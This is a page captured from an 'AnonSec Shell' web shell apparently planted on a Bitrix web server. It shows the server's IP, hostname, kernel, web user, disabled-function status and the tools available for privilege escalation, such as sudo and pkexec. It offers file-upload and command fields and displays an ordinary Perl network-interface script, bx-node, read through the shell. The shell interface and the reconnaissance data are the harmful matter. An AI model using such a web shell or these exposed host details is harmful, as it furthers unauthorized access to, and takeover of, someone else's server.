AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.191.238.216
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/webdir/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /opt/webdir/bin/bx-node
#!/usr/bin/perl
# localhost info and options
use strict;
use warnings;

use lib "/opt/webdir/lib";
use bxNetworkNode;
use Output;
use Data::Dumper;
use Getopt::Long;
use File::Basename qw( dirname basename );
use Sys::Hostname;


# program options
my $prog_name = basename $0;
my $prog_dir  = dirname $0;

my $o_action  = "list";            # type of action that script must do.
                                    # list    - list of all network interfaces
                                    # status  - status of one network interface
my $o_format  = 'plain';            # format of stdout message
my $o_int     = 'any';              # network interface
my $o_host    = hostname;
my $o_verbose = 0;
my $o_help    = undef;
my $o_ip      = undef;

# get command line options
Getopt::Long::Configure ("bundling");
my $result_option = GetOptions(
  'v'     => \$o_verbose,   'verbose'   => \$o_verbose,
  'h'     => \$o_help,      'help'      => \$o_help,
  "a:s"   => \$o_action,    'action:s'  => \$o_action,
  "o:s"   => \$o_format,    'output'    => \$o_format,
  "i:s"   => \$o_int,       'interface' => \$o_int,
  "H:s"   => \$o_host,      'hostname'  => \$o_host,
  "I:s"   => \$o_ip,        'ip'        => \$o_ip,
) or unknown_arg();

# help message
if ( $o_help ) { print_help($prog_name, 0) };
# formt output
if ( $o_format !~ /^(json|plain|te?xt)$/ ) { print_help($prog_name, 1)}
if ( $o_format =~ /^te?xt$/ ) { $o_format = "plain" };

# process request
my $bx = bxNetworkNode->new(
  manager_interface => $o_int,
  manager_hostname  => $o_host,
  debug => $o_verbose,
);
my $interfaces = undef;
if ($o_action =~ /^(list|status)$/i){
  $interfaces = $bx->list_interfaces();
}elsif($o_action =~ /^(create_settings)$/i){
  $interfaces = $bx->create_network_options();
}elsif($o_action =~ /^(interface)$/){
  $interfaces = $bx->ip_to_interface($o_ip);
}elsif($o_action =~ /^(ip)$/){
  $interfaces = $bx->interface_to_ip($o_int);
}else{
  $interfaces = Output->new( 
    error => 1, 
    message => "Unknown action option. PLease use -h for help message." 
  );
}
#print Dumper($interfaces);
$interfaces->print($o_format);

# print usage
sub print_usage {
  my $prog = shift;
  print "Usage: $prog [-vh] [-a list|status] [-i interface] \n";
}

# help message
sub print_help {
  my $prog = shift;
  my $exit = shift;
  print_usage( $prog );
  print <<EOT;
Options:
  -h|--help       - show this message
  -v|--verbose    - enable verbose mode.
  -a|--action     - task management actions: list|status
  -i|--interface  - task id , used in status action
  -I|--ip         - ip address
 Ex.
  * get list of tasks
 $prog -o json
  * get status of eth0 (ip address and network name)
 $prog -a status -i eth0
  * test master settings on localhost
 $prog -a create_settings -i eth0 -H server1
  * get interface name for ip address 1.2.3.4
 $prog -a interface -I 1.2.3.4

EOT
;
  exit;
}


Anon7 - 2022
AnonSec Team